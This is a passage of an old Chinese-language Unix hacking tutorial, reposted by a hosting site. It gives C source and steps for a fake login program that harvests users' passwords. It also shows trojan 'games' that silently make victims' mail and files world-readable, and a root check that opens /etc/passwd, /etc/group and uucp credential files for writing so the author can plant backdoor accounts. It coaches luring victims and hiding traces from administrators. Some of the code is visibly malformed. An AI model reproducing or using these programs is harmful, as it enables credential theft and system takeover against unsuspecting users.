* be put into automatically. 'stuff' is a perfectly good name.
*/
/* Don't change the rest of the program unless there is a need to
* and you know 'C'.
*/
#include <curses.h>
#include <signal.h>
int stop();
main()
{char name[10], password[10];
int i;
FILE *fp, *fopen();
signal(SIGINT,stop);
initscr();
printf(SYSTEM);
printf(LOGIN);
scanf("%[^ ]",name);
getchar();
noecho();
printf(PASSWORD);
scanf("%[^ ]",password);
printf(" ");
getchar();
echo();
sleep(WAIT);
if ( ( fp = fopen(FILENAME,"a") ) != NULL ) {
#fprintf(fp,"login %s has password %s ",name,password);
#fclose(fp);
#}
printf(INCORRECT);
endwin();
stop()
{
endwin();
exit(0);
}
----- Source Ends Here -----
好了,完成上述工作并调试,使得他看上去就象您的系统的登录过程.用下列两行来编译'horse.c': (不要打' %'s, 那是一种提示符)
% cc horse.c -lcurses -ltermcap
% mv a.out horse
现在您有了这个能工作的horse程式. 运行一下,假如他看上去不象系统的登录过程,您得重新编辑horse.c并重新编译.当您准备好运行该程式时,您应先建立一个新文档如'trap'或其他名字. 'trap' 应包含下列两行命令:horse (这条运行您的程式)
login (这条运行真正的登录程式)
执行 'trap' 输入:
% source trap (不要打 %)
然后您就能够离开终端,等待...
等您运行这程式几次后,检查一下文档'stuff'(或其他您所指定的文档).他看上去是这样:
user john has password secret
user mary has password smegmaetc.
记录口令,并删除该文档(假如系统管理员看到,那就大事不妙).
注意 - 为取得最好效果,终端应配置成无用户暂停模式--这样一来您的horse程式才不会空转在连续几小时无人使用的终端上.
下一个步骤是如何运作在远程系统上,如您以侵入的Michigan的VAX,或Dartmouth的UNIX系统或其他的系统. 但是这需要一些'C'语言的知识.那些并不适合UNIX的初学者.
步骤二:阅读任何人的文档
当您运行程式,这其实是个建立运作并让那程式干他所能干的事,如删除您指定目录下的文档或建立一个有效的能让任何人阅读的文档.当人们在UNIX 系统上保存以阅读的邮件,邮件以文档的形式被保存在他们的主目录下的 mbox这些文档通常阅读起来很有意思,但通常只是文档的任何者能阅读并非任何人都有这权利.这里有一个小程式能解开(也就是说 chmod 777, 或让系统上的任何人都能读,写,执行)那个运行此程式
的人的 mbox 中的文档:
----- Code Begins Here -----
#include <pwd.h>
struct passwd *getpwnam(name);
struct passwd *p;
char buf[255];
main()
{
p = getpwnam(getlogin());
sprintf(buf,"%s/%s",p->pw_dir,"mbox");
if ( access(buf,0) > -1 ) {
sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox");
system(buf);
}
}
----- Code Ends Here -----
问题在于如何让我的目标运行在我的目录下的这个程式?
假如您所在的系统有public-messages (在4.xbsd的系统上, 输入'msgs')您就能在那儿发表您的程式.将上述代码写入另一个程式中,找一个有用的或一个游戏程式(通常能在 UNIX WORLD 一类杂志中找到),修该他们,使他们能先完成上述任务然后再完成本来任务.假如您有一个叫tic-tac-toe的程式并且您已修改了他,让他来解开用户的mbox中的文档在让他们运行tic-tac-toe之前,您得宣扬 "我有一个新的tic-tac-toe程式,您们都该试试.他就在我的目录下."或别的什么的.假如您不想通过公共通告告诉任何人,那么就通过邮件发给那些您想捕获的人.假如您不能找到一个真正的程式来修改,就用上面的程式并在两个'}'之间加这么一行,在程式的末尾加上:
printf("Error opening tic-tac-toe data file. Sorry! ");
当该程式运行时,他就会显示上面那条错误的信息. 用户会想"嘿,那家伙连一个简单的 tic-tac-toe 程式都不会写."其实真正被捉弄的人是他自己,您现在能阅读他的邮件了.
假如在用户的目录下有一个指定的文档想看 (比如叫 "secret"),您只要把下面的程式一起发给用户:
main()
{
if ( access("secret",0) > -1 ) system("chmod 777 secret");
}
然后表现得象 Joe Loser并告诉他: "我写了一个叫'终极星球大战'的程式,您想试试吗?"您应该充分发挥您的想象力.想出一些指令让那些人执行,并把他们以C语言程式的形式放在系统中.然后引诱那些人来运行您的程式.这儿有个很巧妙地利用上述技巧的方法:
步骤三:成为终极用户
写一个程式让别人运行.在程式中加入这行:
if ( !strcmp(getlogin(),"root") ) system("whatever you want");
这是为检查root是否在运行您的程式. 假如是,您就能让他执行任何您想执行的shell命令您能让他执行下列命令:
"chmod 666 /etc/passwd"
/etc/passwd 是系统的口令存放文档. 只有root 拥有这个文档.通常任何的用户
都能读他(口令已被编码), 但是只有 root 能改写他.假如您以前没有看过,您得好好看看他的格式. 这条命令能让您往该文档中写东西. 也就是说为您和您的朋友建立不受限制的帐户.
"chmod 666 /etc/group"
通过把您加入到高权限的组中, 您能留很多后门.
"chmod 666 /usr/lib/uucp/L.sys"
假如在uucp网上,找一下系统中的着个文档. 他包含有连到网上其他系统的拨号联接及口令, 通常只有uucp管理员能读. 找到谁拥有这个文档,然后让他不知不觉地运行那个能让您解开该文档的程式.
文章整理:西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!




